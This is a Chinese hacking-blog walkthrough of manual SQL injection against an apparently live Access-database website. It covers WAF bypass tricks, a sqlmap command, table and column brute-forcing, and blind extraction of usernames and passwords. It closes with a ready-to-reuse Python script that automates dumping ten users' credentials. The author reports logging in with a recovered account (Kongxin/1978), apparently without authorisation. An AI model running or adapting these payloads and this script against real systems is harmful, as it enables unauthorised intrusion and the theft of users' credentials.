前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Access-SQL手工注入实战

Access-SQL手工注入实战

作者头像
HACK学习
发布2019-08-05 20:40:20
1.5K0
发布2019-08-05 20:40:20
举报
文章被收录于专栏:HACK学习

判断是否存在注入:

方法1减法判断:

正常页面id=14

注入测试id=14-1也就是id=13,页面正常跳转存在注入。

方法2 and和or判断:

构造id=14 and 1=1,发现被WTS-WAF拦截了

经过反复尝试,这里可以利用“+”替换空格和大写字母绕过WTS-WAF,并且此waf没有过滤and。

id=14+and+1=1成功显示:

id=14+and+1=2没有显示文章:

根据报错信息很明显是Access数据库,但是其中的and IsPass我有点不懂。

access数据库特点: 表名—->列名—->内容数据 不像其他的数据库 可创建多个数据库然后才是表再是内容 access只有一个库若干张表。

二话不说用sqlmap跑一下,结果没有跑出来

代码语言:javascript
复制
sqlmap.py -u “http://www.XXXXX.com/news_list.jsp?type=8&pkID=7288*” –user-agent ” Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; BIDUBrowser 7.6)” –proxy=http://127.0.0.1:1080 –tamper “randomcase.py,space2plus.py”

只能手动注入了 找了一些资料 网上有很多大神都总结过Access数据库手动注入步骤 一般方法如下:

1.判断有无注入

2.猜解表名

3.猜解字段

4.猜解管理员/用户ID值

5.猜解用户名和密码长度

6.猜解用户名和密码

手动注入

1.判断有无注入点(上面已经判断了 略 …)

2.猜解表名

Access数字型注入不能回显,只能根据执行命令后web页面显示正确与否来猜解判断,手动注入效率会比较低。

方法一:order by和union猜解表列

id=14+orDer+By+1000加到1000了也没有报错 order by方法行不通

order by不能找出多少列 用union查询时 报错信息提示“必须包含至少一个表或查询“

猜想select后面要接一个表名 但现在表名和列数都不知道 select方式也行不通。

方法二:用exists()来猜解

构造id=14+and+eXists(sElect * frOm+admin) 报错信息说admin表不存在 说明方法二可行

于是找了一个常用数据库表明字典 结合bp进行暴力猜解。

爆破结果 发现users表

3.猜解字段名

构造id=14+and+eXists(sElect+$username$+frOm+users) 收集了一个常用字段名字典 结合bp暴力猜解 发现一定存在“username、password、id“3个字段。

4.猜解用户id

我又暴力猜解了一下id 构造id=14+and+eXists(sElect+id+frOm+users+whEre+id=$1$) 发现里面包含100+的用户信息 id值从21开始 也没有damin用户 看样子只是个普通用户数据库。

5.猜解第一个用户的用户名和密码长度

构造 id=14+and+(sElect+top+1+len(username)+frOm+users+whEre+id=21)+>+6

通过显示判断 id=21的用户len(username)=7 len(password)=16

6.猜解用户名和密码

构造id=14+and+(sElect+top+1+asc(mid(username,1,1))+frOm+users+where+id=21)+>+96 mid()表示分段截取 mid(username,1,1)中username是截取对象,第一个‘1’表示截取第一个字母,第二个‘1’表示1个单位及每次截取的长度 asc()将截取的内容转换成ascii码 然后遍历对比ASCII表一位一位的猜解 就能获得username。

Id=21用户的第一个字母为k

根据用户名长度为7最后知道id=21用户的usernam=kongxin

最终决定写一个脚本来跑

跑前10个用户密码

用户Kongxin/1978

成功登陆

漏洞测试点到为止。

附python脚本:

代码语言:javascript
复制
#-*- coding: utf-8 -*-
#python3环境下运行 模块安装时可能会出现一些问题大家自行百度
#思路:通过对比返回页面的大小来判断语句是否正确执行,代码中15000是正确会写页面的大小。
#首先通过上面的猜解知道了 数据表有users 字段有username、password、id 还知道了id起始值为21。
#下面的代码已经写好了猜解过程,以后遇到只能手动注入的注入点,只需要更改header头、main函数中的参数值和绕waf语句就能直接跑
import urllib.request
#from bs4 import BeautifulSoup
import requests
import sys
#from socket import *
header = {}#头部构造
header['Host'] = 'www.XXXXX.com'
header['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36'
header['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'
header['Accept-Language'] = 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3'
header['Accept-Encoding'] = 'gzip, deflate'
header['Cookie'] = ''
header['Connection'] = 'close'
header['Upgrade-Insecure-Requests'] = '1'

def Lenth_web(conn_rurl,asc):#计算页面大小
 conn_rurl = conn_rurl+str(asc)
# print(conn_rurl)
 response = requests.get(conn_rurl, headers=header, timeout=15)
 l = len(response.content)
# print(type(l))
 response.close()
 return l

def Lenth_words(conn_rurl):#计算字段长度
 max_lenth = range(0,50)
 r = find_word(conn_rurl,max_lenth)
 print(r)
 return r

def find_word(conn_rurl,array):
 low = 0
# print(low)
 lenth = len(array)-1
# print(lenth)
# i = (lenth+low)/2
# print(array[int(i)])
 while low < lenth:
 if Lenth_web(conn_rurl,array[int((lenth+low)/2)]) > 15000:
 #15865是正常页面的大小,利用2分使正确值始位置终在low和lenth之间 low和lenth不断向正确位置靠拢
 low = int((lenth+low)/2)
 else:
 lenth = int((lenth+low)/2)
 if lenth-low == 1:
 #以上的方法会使得lenth始终大于low 最后接近正确值时lenth会比low一直大1无限循环下去 所以这里用差值为1来停止循环 较大的lenth就是要求的值的位置
 break
 return array[lenth]

def find(conn_rurl):
 try:
 if Lenth_web(conn_rurl,97) > 15000:#说明是小写字母 小写字母ASCII码是97-122
 array = range(97, 123)
 a = find_word(conn_rurl,array)
 print(chr(a),end='')#end为空取消换行符
 elif Lenth_web(conn_rurl,65) > 15000:#说明是大写字母 大写字母ASCII码65-90
 array = range(65, 91)
 a = find_word(conn_rurl,array)
 print(chr(a),end='')
 else:#说明是数字 数字的sacii编码是48-57
 array = range(48, 58)
 a = find_word(conn_rurl,array)
 print(chr(a),end='')
 except:
 pass

def main():#通过更改table_name column_name 遍历user_id读取表中前10个用户的信息
 rurl = 'http://www.XXXX.com'#目标url
 table_name = 'users' #表明
 column_name = 'username' #字段名
 user_id = 21#第一用户id
 n = 0
 while n < 10:#读取前10个用户的字段
 conn_rurl_lenth = rurl+'/news/shownews.asp?id=14+and+(sElect+top+1+len('+column_name+')+frOm+'+table_name+'+whEre+id='+str(user_id)+')+>+'
 l = Lenth_words(conn_rurl_lenth)
 #猜解字段长度语句
 i = 0
 while i < l:
 conn_rurl = rurl+'/news/shownews.asp?id=14+And+(sElect+top+1+asc(mid('+column_name+','+str(i+1)+',1))+frOm+'+table_name+'+whEre+id='+str(user_id)+')+>+'
 i = i + 1
 #猜解字段语句
# print(conn_rurl)
 find(conn_rurl)
 print('\n')
 user_id = user_id + 1
 n = n + 1
if __name__ == '__main__':
 main()

参考来源:arno'blog

作者:arno

如有侵权,联系删除

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-06-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 判断是否存在注入:
  • 手动注入
    • 1.判断有无注入点(上面已经判断了 略 …)
      • 2.猜解表名
        • 3.猜解字段名
          • 4.猜解用户id
            • 5.猜解第一个用户的用户名和密码长度
              • 6.猜解用户名和密码
                • 附python脚本:
                相关产品与服务
                数据库
                云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档